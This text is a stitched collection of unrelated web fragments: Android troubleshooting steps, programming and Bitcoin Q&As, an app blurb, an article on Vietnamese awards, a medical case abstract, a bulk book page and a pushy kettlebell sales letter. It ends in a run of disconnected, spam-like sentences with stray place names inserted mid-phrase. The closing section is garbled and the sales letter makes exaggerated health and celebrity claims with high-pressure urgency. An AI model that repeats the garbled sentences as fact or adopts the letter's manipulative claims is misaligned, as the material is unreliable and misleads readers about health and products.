"\nSolution 1\nNote: Follow the steps for both Internal and external SD Card\n\nGo to File manager -> Android -> Data -> com.android.gallery3d.",
"\nDelete the folder (com.android.gallery3d) in both internal and external SD card.",
"\nGo to Settings -> Apps / Application manager -> search for Gallery -> open Gallery and tap on Clear Data .",
"\nSwitch off your phone and wait for few minutes (say 2-3 min) and then switch on and wait for few minutes.",
"\n\nThat's it now. ",
"All the images and videos would be showing under Gallery.",
"\nSolution 2\n\nGo to the respective folders where images/videos are stored.",
"\nGo to Settings > Show hidden file and see if there is a .NOMEDIA file. ",
"If there is such file then delete it.",
"\nSwitch off and switch on the device.",
"\n\nThat's it.",
"\nSolution 3\nIf above solutions don't work, then you have to search for apps in Play Store which scans SD Card . ",
"SDrescan is good. ",
"It's only of 20KB in size. ",
"And then scan the memory card using that app.",
"\n\n"
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"Q:\n\nHow do nodes come to a consensus on difficulty?",
"\n\nSpecifically I would like to know what messages are sent between nodes in order to figure out total processing power of the network and therefore difficulty. ",
"How is the new difficulty value spread through the network and what if nodes do not agree on it?",
"\n\nA:\n\nThere is no coordination done specifically for difficulty calculations. ",
"The difficulty is computed deterministically based on the data in the blockchain (shared among all nodes), specifically the timestamps of blocks.",
"\n\n"
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"#1 Spell Checker for Android! ",
"More than 2 million and a half downloads!!Supports English, Español, Français, Italiano, Deutsch, Svenska, Polski, Czech, Slovak, Ukrainian, Hebrew, Turkish…Check and correct your spelling and send your text by e-mail, Facebook, twitter, SMS…Tip #1: Input your text via voice too!Tip #2: For fast access, keep it in the notification bar, always one click awayTip #3: For even faster access, long-press the search button to open the spell checker right awayOnce you become an addict to this corrector, check out the PRO version! ",
"It has no limit in characters, faster server, no ads, character count and you can invite us to a coffee 🙂– PRO VERSION AVAILABLE on Playstore\n\nTamanho : 239kVersão Atual : 2.7requer Android : 1.5 para cima\n\nHow To Play Spell Checker (+voice input) APK no PC,Computador portátil,Comprimido"
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"Vietnam awards and decorations\n\nVietnam awards and decorations are specified by the National Assembly of Vietnam through Law on Emulation and Commendation (No: 15/2003/QH11). ",
"\nBy this law, emulation aims to create a motive force to mobilize, attract and encourage all individuals and collectives to promote their patriotic tradition, dynamism and creativity in striving to well accomplish the assigned tasks for the objective of a prosperous people, a strong country, an equitable, democratic and civilized society. ",
"Commendation forms include: Order; State honorable title. ",
" \n\n State Honorable Titles\n\nState honorable titles shall be awarded or posthumously awarded to individuals and awarded to collectives that have made exceptionally outstanding contributions to the cause of national construction and defense:\n\n Orders\nOrders shall be conferred or posthumously conferred on individuals and conferred on collectives that have rendered meritorious services, recorded regular or unexpected achievements, contributing to the cause of national construction and defense. ",
"\n\n Medals\nMedals shall be awarded to officers, professional armymen, defense workers working in agencies and units of the People's Army; officers, professional non-commissioned officers working in agencies and units of the People's Police, and foreigners who have, for a period of time, devoted and/or made contributions to the cause of national construction and defense.",
"\n\nSee also \n Vietnam People's Navy\n Vietnam People's Air Force\n Vietnam Border Defense Force\n Vietnam Marine Police\n List of military decorations\n\nReferences\n\nExternal links \n Vietnam Law on Emulation and Commendation\n\nCategory:Orders, decorations, and medals of Vietnam\nCategory:Military awards and decorations of Vietnam"
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"[Cases of three patients undergoing chemotherapy for gastric cancer who developed Trousseau's syndrome].",
"\nTrousseau's syndrome involves unexplained thrombotic events along with malignancy. ",
"We report the cases of 3 patients undergoing chemotherapy for gastric cancer in whom Trousseau's syndrome occurred. ",
"Case 1 involved a 43-year-old woman undergoing S-1/cisplatin( CDDP) combination therapy as first-line chemotherapy for type 4 remnant gastric cancer( cT4bN2M1P1/stage IV) who experienced left hemiplegia. ",
"Cerebral hemorrhage of the right parietal lobe was diagnosed by computed tomography( CT), and thrombosis from the upper sagittal sinus to the right sinus sigmoideus was diagnosed by magnetic resonance venography( MRV). ",
"Case 2 involved a 59-year-old man undergoing S-1/irinotecan (CPT-11) combination therapy as second-line chemotherapy for type 3 gastric cancer( cT3N1M0H1/stage IV) who experienced ataxic, stuttering, and left membrum inferius paralysis. ",
"Multiple cerebral infarction of the right parietal lobe was diagnosed by magnetic resonance imaging (MRI). ",
"Case 3 involved a 67-year-old woman undergoing S-1/CDDP combination therapy as preoperative chemotherapy for type 3 gastric cancer( cT4aN1M0/stage IIIA) who experienced right cerebellum incontinentia, nystagmus, and right facioplegia. ",
"Multiple cerebral infarction of the right cerebellum and pedunculus cerebellaris medius was diagnosed by MRI. ",
"An anticoagulant was administered orally for stroke, and chemotherapy for gastric cancer was resumed after activities of daily living( ADL) improved in all 3 patients. ",
"Recurrent stroke was not diagnosed in any of the 3 patients. ",
"Patients with malignancy often exhibit hypercoagulability associated with cancer. ",
"Accordingly, periodic blood tests for coagulation should be performed and dehydration should be prevented to prevent strokes in cancer patients."
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"Q:\n\nMake input with' hidden=true' value show by changing state in React.",
"JS\n\nI'm making a React.js application. ",
"I cannot find the way to change the hidden input to show so I decided to post a question here.",
"\nThe functionality I want to implement :\nIf you click a text, a checkbox should be appeared. ",
"This checkbox is input and there is hidden=trueinside the tag.",
"\nAs long as I know, we can use ternary operator to change the styling inside JSX tag. ",
"However ternary operator does not work for hidden element.",
"\nHere is codepen demo.",
"\nThe code \nclass FontChooser extends React.",
"Component {\nconstructor(props) {\nsuper(props);\nthis.state = {\n hidden: true\n}\nthis.handleClick = this.handleClick.bind(this);\n}\n\nhandleClick(){\n this.setState({\n hidden: !",
"this.state.hidden\n })\n}\n\nrender() {\nreturn(\n <div>\n <input type=\"checkbox\" \n id=\"boldCheckbox\"\n hidden={{ !",
"this.state.hidden ? ",
" 'false' : 'true' }} \n />\n <span id=\"textSpan\" onClick={this.handleClick} >\n {this.props.text} \n </span>\n </div>\n );\n }\n }\n\n React.render(\n <div>\n <FontChooser min='4' max='40' text='Fun with React!' ",
"bold='false'/>\n </div>,\n document.getElementById('container'));\n\nThank you for your kind help!",
"\n\nA:\n\nYou have a pair of extra {}\nIf you do this it should work:\nhidden={ !",
"this.state.hidden ? ",
" true : false }\n\n"
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"Are you an Agency?",
"\n\n\"Unfortunately I ordered some trainers, the order was processed and I then received an email explaining that the product was out of stock. ",
"I contacted zap via phone call and was told the website was having some difficulties.\""
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"Q:\n\nsearch in elasticsearch errors when applying analyzer/filter\n\nI have downloaded the onet dataset which comprise of skills taxonomy and I have uploaded it into a elasticsearch. ",
"In skills taxonomy there are some skills like c++, .net, C#. ",
"I want to give c# and get only c# in skills. ",
"by checking some links, I have set the mapping and settings of my index as below. ",
"\n{\n \"onnet_taxonomy\": {\n \"mappings\": {\n \"text\": {\n \"properties\": {\n \"Occupation\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n },\n \"Skill\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n },\n \"Skill Type\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n }\n }\n },\n \"keywords\": {\n \"properties\": {\n \"Occupation\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n },\n \"Skill\": {\n \"type\": \"text\",\n \"fields\": {\n \"analyzed\": {\n \"type\": \"text\",\n \"analyzer\": \"analyzer_keyword\",\n \"search_analyzer\": \"analyzer_shingle\"\n },\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n },\n \"Skill Type\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n }\n }\n }\n },\n \"settings\": {\n \"index\": {\n \"number_of_shards\": \"5\",\n \"provided_name\": \"onnet_taxonomy\",\n \"creation_date\": \"1583114276039\",\n \"analysis\": {\n \"filter\": {\n \"my_shingle_filter\": {\n \"max_shingle_size\": \"8\",\n \"min_shingle_size\": \"2\",\n \"output_unigrams\": \"true\",\n \"type\": \"shingle\"\n }\n },\n \"analyzer\": {\n \"analyzer_keyword\": {\n \"filter\": [\n \"lowercase\"\n ],\n \"char_filter\": [\n \"code_mapping\"\n ],\n \"type\": \"custom\",\n \"tokenizer\": \"keyword\"\n },\n \"analyzer_shingle\": {\n \"filter\": [\n \"lowercase\",\n \"my_shingle_filter\"\n ],\n \"char_filter\": [\n \"code_mapping\"\n ],\n \"tokenizer\": \"standard\"\n }\n },\n \"char_filter\": {\n \"code_mapping\": {\n \"type\": \"mapping\",\n \"mappings\": [\n \"++ => plusplus\",\n \"c# => csharp\",\n \"C# => csharp\",\n \"F# => fsharp\",\n \"f# => fsharp\",\n \".net => dotnet\",\n \".Net => dotnet\",\n \".NET => dotnet\",\n \"( => map_lp\",\n \") => map_rp\",\n \"& => and\",\n \"# => hash\",\n \"+ => plus\"\n ]\n }\n }\n },\n \"number_of_replicas\": \"1\",\n \"uuid\": \"LNf2frW1S8WmHSOJWVrvLA\",\n \"version\": {\n \"created\": \"5030399\"\n }\n }\n }\n }\n}\n\nwhen i use query as below\n{\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match\": {\n \"Skill\": \"c++\"\n }\n }\n ]\n }\n },\n \"size\": 10\n\ni am getting all skills that have 'c'\nwhen i use query as below assuming analyzer is applied\n {\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match\": {\n \"Skill.analyzed\": \"c++\"\n }\n }\n ]\n }\n },\n \"size\": 10\n}\n\nI get empty output. ",
"did i include the analyzer correctly or is my query wrong ?",
"\n\nA:\n\nI just simplified your question and for simplicity, let's assume you just have 1 field called title which contains different languages like c, c++, c# f#. ",
"\nIndex settings and mapping for this title field.",
"\n{\n \"settings\": {\n \"index\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"filter\": [\n \"lowercase\"\n ],\n \"char_filter\": [\n \"code_mapping\"\n ],\n \"tokenizer\": \"standard\" --> notice `standard`\n }\n },\n \"char_filter\": {\n \"code_mapping\": {\n \"type\": \"mapping\",\n \"mappings\": [\n \"++ => plusplus\",\n \"c# => csharp\",\n \"C# => csharp\",\n \"F# => fsharp\",\n \"f# => fsharp\",\n \".net => dotnet\",\n \".Net => dotnet\",\n \".NET => dotnet\",\n \"( => map_lp\",\n \") => map_rp\",\n \"& => and\",\n \"# => hash\",\n \"+ => plus\"\n ]\n }\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"analyzer\": \"my_analyzer\" --> using custom analyzer created in settings\n }\n }\n }\n}\n\nIndex some docs\nPOST /_doc/{doc-is}\n{\n \"title\": \"c#\"\n}\n{\n \"title\": \"c++\"\n}\n{\n \"title\": \"c\"\n}\n{\n \"title\": \"F#\"\n}\n\nSearch query, which is provided you in your question which fetches all records which contains c.\n{\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match\": {\n \"title\": \"c++\"\n }\n }\n ]\n }\n },\n \"size\": 10\n}\n\nFor me now, it retuens only the documents which contains only c++ as shown in my search API result.",
"\n\"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.9808292,\n \"hits\": [\n {\n \"_index\": \"cplus\",\n \"_type\": \"_doc\",\n \"_id\": \"1\",\n \"_score\": 0.9808292,\n \"_source\": {\n \"title\": \"c++\"\n }\n }\n ]\n }\n\n"
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"Fooling with Words: A Celebration of Poets and Their Craft\n\nYour Order\n\nWe are happy to assist you with orders of this size. ",
"Feel free to place your order online or Contact Us for further support. ",
"See Details\n\nLarge Quantity Order Details\n\nWe understand that orders of over 1,000 copies usually require additional coordination -- please feel free to Contact Us for information regarding availability, shipping time frames, delivery requirements, and customization options. ",
"If you are seeking a special discount or price match on a large quantity of books, please complete the Request a Quote form and we would be happy to assist you.",
"\n\nReady to go now? ",
"You can place your order for up to 3,000 copies online and one of our representatives will contact you for details.",
"\n\nThis collection of poems from the Geraldine R. Dodge Poetry Festival, the \"Woodstock of poetry\", is an inspirational celebration of the power and pleasure poetry. ",
"This companion volume to Moyers's annual coverage of the event on PBS captures not only...\n\nThe book, Fooling with Words: A Celebration of Poets and Their Craft [Bulk, Wholesale, Quantity] ISBN# 9780688177928 in Paperback by Moyers, Bill may be ordered in bulk quantities. ",
"Minimum starts at 25 copies. ",
"Availability based on publisher status and quantity being ordered."
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[
"Dear Fat Loss Enthusiast\n\nIf you are interested in a long forgotten secret to burn fat quickly and easily this will be the most important message you ever read.",
"\n\nHere’s why:\n\nMy name is Troy Anderson. ",
"I’m not a professional Ad Writer. ",
"But what I have to share with you is so extraordinary and so powerful; I’ve decided to write it myself. ",
"So bare with me a little.",
"\n\nAnd with my colleague Josh Henkin I’m going to be revealing a very powerful way to burn fat.",
"\n\nYou’ve probably read about them in Men’s Health… Maximum Muscle and Men’s Fitness Magazines as well as many more – In a few minutes I’ll tell you about what these big name publications are begging me to reveal about burning fat fast…\n\nBut let me introduce ourselves first. ",
"We’re both Fitness coaches, and specialize in something called a kettlebell.",
"\n\nIt all started a few years ago. ",
"I was doing fitness coaching out of Tempe, Arizona (Josh has a gym just up the road in Scottsdale, AZ), when after a long day I was driving home.",
"\n\nWhen I got home sitting on my kitchen table was something I didn’t expect to see…. ",
"It was a black metal ball with a handle.",
"\n\nIt’s kind of embarrassing to admit it but for a few seconds I thought…\n\n“It Was a Bomb on My Kitchen Table!”",
"\n\nThen my wife came out of the next room with a little smile on her face that she always has when she’s excited about something.",
"\n\nYou see we’re both fitness nuts and like to keep testing new stuff out. ",
"So she had taken it as her duty to buy something called a kettle bell. ",
"This is basically a ball with a handle which gives an amazing workout in just 15 minutes a day!",
"\n\nFamous Athletes, Hollywood Stars and even every day people have said that nothing they’ve ever done compares to the power of the kettlebell!",
"\n\nActually here’s a photo of one of my students using it:\n\nFind out How Kim Stays Slim and Lean, with Her at Home Kettlebell\n\nAnd even though I’d heard a lot about the kettlebell and how easily absolutely anyone could start burning fat… Even though other well known fitness coaches were using them… as well as fire-fighters… swat teams… elite army units and even Hollywood movie stars. ",
"I was stubborn…\n\n“And I Wasn’t Going To Have Anything to do With it!”",
"\n\nYep, I guess I just thought it was just another fad. ",
"Or it would be just for another weight loss scam.",
"\n\nAs a coach I see so many people almost blindly robbed by greedy cashed up supplement companies, hyped up exercise machines sold on late night TV and all the other dime-a-dozen diets\n\nI have a right to be skeptical…. ",
"My students are relying on me!",
"\n\nBut I also got curious, and tried them out on myself. ",
"But then I was hooked… And although my wife may not like it:\n\n“Lost 40 Pounds and a 21 Year Olds Body at 41!”",
"\n\n“Working with Josh I have had amazing results.",
"\n\nLosing 40 pounds and getting a body at 41 that I would have died for at 21 is more than a compliment to the power of kettle bell training.",
"\n\nWhen people notice you know the results are real!”",
"\n\n-Christi Riley\n\n“I stole it off her... And she’s not getting them Back!”",
"\n\nSome of the results we got were simply amazing.",
"\n\nJust look on the side of the page they are real unsolicitated testimonials from our coaching students.",
"\n\nNot to mention some of the other big benefits…\n\n“More Energy than my Kids!”",
"\n\n“Kettlebells provide me the ability to do everything I want, giving me more energy, losing fat, and playing golf Kettlebells work!",
"\n\nI was hesitant being 58, but I have more energy than my own kids!”",
"\n\n-Elizabeth Pope\n\n“They’re Transportable... And Cheap!”",
"\n\nOne of the best things about kettlebells is that they’re so convenient. ",
"It’s like having an entire gym in a ball.",
"\n\nYou can take them in your car to work, on vacation or wherever you go and never walk into a gym again!",
"\n\nAlso it’s a lot cheaper. ",
"You can buy a kettlebell for less than it costs to fill up your gas tank. ",
"When you compare that to gym memberships and the costs of setting up a home gym – you’ll save some serious money.",
"\n\nBut that’s not even the best thing….",
"\n\n“I lost 50lbs in just 9 months!”",
"\n\n“With a sweat and hard work, good nutrition, and Kettlebells, I lost 50lbs in just 9 months.”",
"\n\n— Martin Riley\n\n“It’s so Quick And Easy Even Doctors Are Recommending Kettlebells”\n\nI recommend Kettlebells to all my patients because they help build functional strength, flexibility, and cardiovascular health”\n\nDr. Mark Force, DC\n\nRolling Stone Magazine Called Them The Weight of the Year and Celebrity Trainers All Across America Know that Their.",
"\n\nFrom Behind the Iron Curtain Fat Burning Secret is the Worlds Most Effective Fat Loss Solution.",
"\n\n“I was probably in the best shape of my life for Knocked Up but I hated going to the gym… I’ve now found a woman who teaches kettlebell classes.",
"\n\nIt’s a mix of cardio and weight training but I only do it for 20 minutes twice a week and it’s changed my body shape.”",
"\n\nKatherine Heigl, Grey’s Anatomy Star\n\nDont Believe the Hype?",
"\n\nSWAT Teams… The FBI… Elite Special Forces Swear by This Method to Hone Their Fast Response Fitness and Out Last the Most Vile Bad Guys!",
"\n\n“Burned A LOT of FAT”\n\nWhether kettle bell work is integrated into my training program or just used by itself, I definitely go home feeling that I got in a very good workout and burned a lot of fat!”",
"\n\nKari Parker\n\nLost 6% Body Fat and 12 Pounds\n\n“Since working with Kettlebells 7 months ago, I have lost 6% body fat and 12 pounds. ",
"I was one that would not stick with a workout program and since I have followed kettlebell programs, I haven’t been bored and look forward to my workouts!”",
"\n\n– Amanda Cunningham\n\nAre They Safe for Everyone\n\nOne thing that a lot of people ask us is whether or not kettlebells are safe for everyday people. (",
"A.K.A not just for fire fighters, SWAT Teams, and Elite Military Units)\n\nAnd the answer is a resounding YES! ",
"In fact we went as far as to ask a doctor what he thought:\n\nAnother thing is whether or not you can use them with a sore back.",
"\n\nOnce again the answer is YES.",
"\n\nMy buddy and business partner Josh Henkin was skeptical of them because he had a bad back.",
"\n\nBut in reality they actually helped fix his back! ",
"That’s one of the best things about kettlebells. ",
"If you use them you’ll exercise muscles that you normally wouldn’t even touch.",
"\n\nSo you reduce injury as well as increasing\n\nThe main key is that you do it the right way – it’s easy. ",
"But imagine if you had a step-by-step guide to show you how to work out properly.",
"\n\nYou get a Full Length DVD along with a 155 page step by step manual that will be shipped directly to your home.",
"\n\nThat you can use to start burning fat as soon as you tear of the packaging.",
"\n\nThe manual and DVD include page after page of detailed ‘how to’ information, exercise descriptions, on the DVD we even included 4 actual workouts straight out of the manual.",
"\n\nNot just a much of exercise descriptions that you don’t care about.",
"\n\nWe realize that once you get this DVD that you want to get straight to burning fat.",
"\n\nWhich why we have included the 4 follow along workouts that we personally demonstrate and describe exactly how to do so that you can get the results you deserve.",
"\n\nThese 4 workout sessions are pulled directly from the 21 Weeks of Fat Shedding Workouts within the Program.",
"\n\nAnd that’s only a fraction of the workouts we’ll be showing you!",
"\n\nFrom the Comfort of your own home we take you step-by-step through an entire workout.",
"\n\nIt’s just like having us right next to you spurring you into action.",
"\nIn fact we will be guiding you through 25 different workouts all proven to work time and time again!",
"\n\nHere are some things You Experience:\n\nA really Simple and Easy technique used by Olympic Athletes who need results fast!",
"\n\nThe Kettlebell secret which works out your entire body… so you can burn fat faster than you believed possible!",
"\n\nThe Amazing Secret of one of the world’s healthy, fittest and respected men and exactly what exercise he recommends HINT: This may surprise you!",
"\n\nHow to Not only burn fat but start to develop a lean hard body using this long forgotten Russian secret\n\nYou Also Discover the...\n\n►The 5 Things you absolutely must do before you start using Kettlebells if you want to burn fat.",
"\n\n►Two things that you need to do if you want to become athletic… forget these and you don’t stand a chance!",
"\n\n►7 Things which will absolutely murder your chances at losing weight… and how to overcome them.",
"\n\n►Why using Kettlebells can give you a body that will rival the bodies of celebrities: Jennifer Lopez, Matthew McConaughey, Kim Bassinger, it’s true they are all kettlebell users!",
"\n\n►4 Week ‘Start from Ground Zero Training Plan’… that will allow the inexperience kettlebell user to start down the path to becomes a fat losing sensation, by starting with this simple and easy 4 week plan and progressing into the other 17 weeks of training.",
"\n\n►How to use ‘Smoking’ to burn fat (This isn’t what you think!).",
"\n\nAnd heaps more!",
"\n\nUsing kettlebells can be confusing if you don’t have the right training. ",
"But that’s where we come in. ",
"We’ll show you dozens of workouts for surefire fat loss! ",
"It’s very powerful. ",
"In fact I would even go as far as saying: “It Makes All Fat Loss Methods Obsolete!”",
"\n\n“Do NOT Read this Part if you’ve forked out for a Gym Membership Before it’ll break your heart”\n\nListen. ",
"As you can see so far we’re pretty straight shooters, so we have to say this even though it won’t impress some people who read this letter.",
"\n\nIf you are planning to just go and eat Burger King or Pizza every night for dinner and still expect the ‘miraculous’ kettlebell workouts to work it all off…\n\nYou better leave this website right now. ",
"You’re wasting yours and our time.",
"\nEven with all the exercise in the world if you don’t eat a balanced and healthy diet you will never lose the amount of weight that you want.",
"\n\nThis is why we are giving you 2 Special Bonuses to get and keep you on the Fat Loss Fast Track:\n\nFirst we want to give you a Special 30 Day Program from our good friends Franz and Yoanna Snideman, both of whom of living proof of their clean eating philosophy.",
"\n\nThey are going to share with you the special tips for getting and staying lean and healthy.",
"\n\nAlong with (Franz’s Special report) we are also giving access to the Elimination Diet, the hassle free eating plan the our friend and colleague Dax Moy, has used time and again to guarantee that his client Lose 1 Dress Size in 21 Days or Less.",
"\n\nStraight up, NO BS, follow this nutrition plan to a ‘T’ and you will get the same, I have seen it work like a charm with my own clients\n\nDax’s Elimination Diet has been used successfully by more than 21,000 people from all around the world. ",
"Now it is Your turn to join the successful and strip off that unwanted body fat forever.",
"\n\nBut once you start using Kettlebells for 15 minutes a day plus eat properly you can pretty much throw away your gym membership forever.",
"\n\nYou can flush those expensive and useless Fat Loss pills down the toilet and you can say goodbye to painful jogging.",
"\n\nBecause Kettlebells deliver the complete workout:\n\n►Endurance: You’ll be able to keep active for hours and hours with the stamina that you had as a teenager.",
"\n►Flexibility: Most people who use Kettlebells quickly become much more flexible and alive!",
"\n►Prevents Injury: They actually prevent injury – by exercising muscles that usually wouldn’t do anything you significantly reduce the chances of you getting injured.",
"\n►Cardiovascular Workout: Get your heart and lungs healthy and active again quickly and easily!",
"\n►Improve Strength: No Matter if you a guy or a girl you’ll increase your strength heaps after using this.",
"\n►Muscle Definition: Once you start to lose those pounds/ kilos the best thing is you can start to get muscle definition… six packs and the perfect hard body you’ve always wanted are not too far away.",
"\n\nAnd most importantly it’s FAST!",
"\n\nOf course it’ll take a few hours to learn the techniques properly – But once you get it right there is no stopping you!",
"\nYou can start getting results within days of using them for just 15 minutes a day. ",
"Hundreds of normal everyday people have proven it.",
"\n\nSo you’re probably wondering how much it costs. ",
"But we think the right question is: How much will it cost if you don’t order our training manual and DVDs right now?",
"\n\nThink of how much money you’ll save when you compare that to how much it costs to hire a personal trainer (At least $400 a Month)… Some gyms charge $1,000 a year to be a member.",
"\n\nNot to mention how much money you’ll save on doctor’s visits, medicine and all those other annoying expenses that come with being unfit.",
"\n\nBut we won’t take all of that into account. ",
"In fact because this is the first time we’ve released this course it’s going to be much, much cheaper. ",
"Because of all this it’s a no brainer at $97. ",
"If you divide that over the course of a year – it’s much less than 27 cents a day. ",
"Is a healthy, fit and strong body worth a stick of gum a day to you?",
"\n\nIf not then leave this website right now, because you’re wasting my time and ours:\n\n“Here’s what to do If You Want To Change Your Fitness Life Forever”\n\nIt’s actually really simple. ",
"Scroll down to the bottom of this page and click the order now button.",
"\n\nYou’ll be taken to a 100% Secure Encrypted Credit Card Server. ",
"This ensures that your order is unreadable to anyone else except us to protect you from credit card fraud.",
"\n\nRemember, we accept Visa, MasterCard, American Express and Bank Card. ",
"You’ll receive the course shipped to you within 10 Days or Less straight to your front door! ",
"But you….",
"\n\n“Must Take Action Right Now”\n\nWe’ve already shown you why this is the laziest and quickest way to really start losing weight in just 15 minutes a day. ",
"We’ve shown you stacks of real life people who’ve lost weight following my system – even though they were skeptical. (",
"Even we didn’t believe it at first!)",
"\n\nWe Put Our Money Where Our Mouth is and the Risk is on Our Shoulders\n\nWe’ve shown you how there is literally no risk. ",
"If you don’t get the hard beach body you’ve always wanted just send us an email and we’ll refund you every cent within the first 60 days!",
"\n\nCovering All the Bases with More Special Bonuses\n\n(Value: $27)\n\nWhile we are giving you a few bonuses here our real goal is give you a program that you can USE, many product give you a laundry list of PDF downloads that do nothing but sit and collect dust in a folder on your hard drive.",
"\n\nWe know that is exactly what you don’t want, you want FAT LOSS RESULTS, so we have put together a few the best bonuses that will help you get those results fastest.",
"\n\nWant more?",
"\n\nOur first bonus is the Kettlebell Fat Loss Unleashed Program, it goes hand in hand with all the Meltdown Training Programs.",
"\n\nInstead only giving You just 6 months of programs we wanted to up the ante and give you over 7 Months of Kettlbell Fat Loss Programs.",
"\n\nHaving Trouble with the Meltdown Program?",
"\n\nOur next bonus is a special 1 Time Troubleshooting Teleseminar, where you’ll be able to call in and ask Josh and I any question you have during a 60 minute open line teleseminar. ",
"This is to insure that you are going to get the absolute best out of the Meltdown Program.",
"\n\nBe On The Look: Teleseminar Information is Coming Your Way\n\nAs an appreciated Customer You will receive notice of these Special teleseminars during the next few weeks. ",
"So keep a close eye on your in-box so that you won’t miss the event.",
"\n\nEspecially the troubleshooting teleseminar, as we would hate for you to miss an opportunity to get your burning questions answered. ",
"While this will be recorded and available to listen to later, only those who attend the live event will be able to ask their specific question.",
"\n\nNeed some motivation and inspiration to get started?",
"\n\nOur third bonus is, an audio interview with: Muata Kamdibe.",
"\n\nMuata, has lost over 130lbs all on his own, using old school training tools like kettlebells and sandbag.",
"\n\nYou’ll get to hear Muata’s inner secrets for achieving success, and how he only loss 3lbs in 3months and later only lost 5lbs in 1 year, yet still stuck with the plan, and lost all the weight. ",
"Now his goal is get down to 5% bodyfat, awesome.",
"\n\nDo You Have a Goal?",
"\n\nOur final bonus is an audio interview with: Dax Moy the creator of the Magic Hundred Goal ‘Getting’ Program.",
"\n\n(Value: $97 )\n\nBoth Josh and I have personally used this a program and it is absolutely awesome.",
"\n\nAs ‘in the trenches’ fitness coaches we realize ‘mindset’, goals, and goal setting are stones that are often left with fat loss programs.",
"\n\nIn this interview we are going to pry out the best tips for never ending success from Dax.",
"\n\nWe’ve already shown you exactly why you need to order right now, and how each of our exclusive bonuses will help to provide you support and propel you to your ultimate fat loss success.",
"\n\nIn fact we’ve shown you everything you need to know to order right now, and that’s exactly what you should do.",
"\n\nListen 30 days from now you can either be just as fat, unhappy and tired as you are today… or you could be well on the way to a lean and hard beach body which will turn heads.",
"\n\nWe know you will make the right decision\n\nJosh Henkin and Troy Anderson\n\nKettlebell Experts and ‘In the Trenches’ Fitness Coaches\n\nP.S. Literally all the Risk is on our shoulders. ",
"Not only is there a 100% money back guarantee it’s for a full 60 days… so you have plenty of time to try it out.",
"\n\nP.S.S. Remember Josh and I have will be spending you tips and videos for the next 30 days, because we want you to win the fat loss war. ",
"It’s no good for anyone you don’t open the manual, pop in the DVD, and grab the Kettlebell and get to work. ",
"And just in case you have a ‘weak moment’ Josh and I want to be there to get you moving again. ",
"Let’s get this thing done together, so Make sure you order right now so you don’t miss out."
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"Snow here can get baked, but it’s also a great respite for intermediates who prefer lots of light and wide-open groomers. ",
"Some firearms, shotguns and rifles may be licensed and are held on a firearm or shotgun certificate. ",
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"I had a pair of barn owls i raised from babies, long story but i got them from the tower of an old building in the middle of my college campus where a barn owl nested. ",
"I have windows vista home edition with service pack 2 installed on my laptop. ",
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"If someone swallows salicylic acid or applies too much salicylic acid, call your local poison control center at. ",
"They could have put here hands in some dirt, to make a mold. ",
"Magic jewelry is similar to columns, which is that the scores are obtained with the combination of a line made up of three or more colorful jewelry horizontally, vertically or diagonally, using-moving-positioning columns of three pieces that fall in a rectangular playing field. ",
"Lanthanide nanoparticles for high sensitivity multiparameter single cell analysis. ",
"An increase in lymphocyte concentration is usually a sign of a viral infection in some rare case, leukemias are found through an abnormally raised lymphocyte count in an otherwise normal person. ",
"Their service has allowed me to stay one step ahead of the competition. ",
"Not a phrase book, not a translation guide, instant immersion german for travelers is the speedy, sophisticated route to proper german, for all non-native speakers on the go. ",
"Types of investors the private equity pe funds that are active in bulgaria are not raised or registered in the country. ",
"Dealer was very nice unfortunately the listing information was wrong. ",
"Microphones are often designed for highly specific applications and have a major effect on recording quality. ",
"The beats, the lyrics — both are truly excellent, but it is the overall vibe of the album that makes aquemini so special. ",
"If necessary, give micaiah paragon to speed up the process.",
"\n\nTonight, with the governor of the bank of england, i want to set out some of the steps we will take to deliver this new settlement for financial services. ",
"I do not understand why i would even take the time and review a product which i do not like. ",
"This traditional folk dance is mainly performed during the navaratri and along with the gujarat, many other states in india also conduct some celebration programs on this festival. ",
"Google, however, did develop google apps for iphone, that was and still is the major source of their mobile ad revenues. ",
"Check out what is included in the apostolos marathon tour packages. ",
"This was reportedly as a result of the performance of the song by logic, cara, and khalid during the show as well as the speech given by recording artist and activist kesha, who was tasked with presenting the performers. ",
"You can see this graphically in pdfs by including a ‚debug all’ or ‚debug first’ followed by debug station-names and possibly debug second or debug scrap-names statements in your layout. ",
"This belief is bolstered by the failure by some to condemn and demand the cessation of its violations and crimes and by position that equate the victim and the executioner. ",
"Sbs radio scored a journalistic coup with an exclusive eyewitness account of how five australia journalists were murdered in east timor in. ",
"I believe in personalized medicine for uti, in the sense that each patient’s utis are different and each patient is at a different place. ",
"Pottery is the fucking material from which the potteryware is made, of which major types include earthenware, stoneware and porcelain. ",
"Incense has for centuries been an important part of christian liturgy and worship. ",
"This article was produced exclusively for muslim link and should not be copied without prior permission from the site. ",
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"However, the venetian empire remained a major exporter of agricultural products, and until the midth century, a significant manufacturing center. ",
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"But one thing unites them—they feared for their lives in their home countries. ",
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"Unlike an northfield instrument with a return linked to a basket of underlying glace bay assets in which risk is mitigated and diversified among all the components of the basket, you will be exposed to the risks western isles related to both underlying indices. ",
"In, google began de-coupling certain blackwater aspects springfield of the operating system particularly its central applications so they could be updated through the google play store independently of the os. ",
"Outer metropolitan — tumut situated in andersonville capital cities and containing large areas of recent suburban expansion. ",
"Boardman, iii, a local businessman, purchased it and began gretna extensive renovations. ",
"The fine details of each area of missouri body surface are peculiar to each individual. ",
"You will get 50 xp every time you cycle through the dayton options. ",
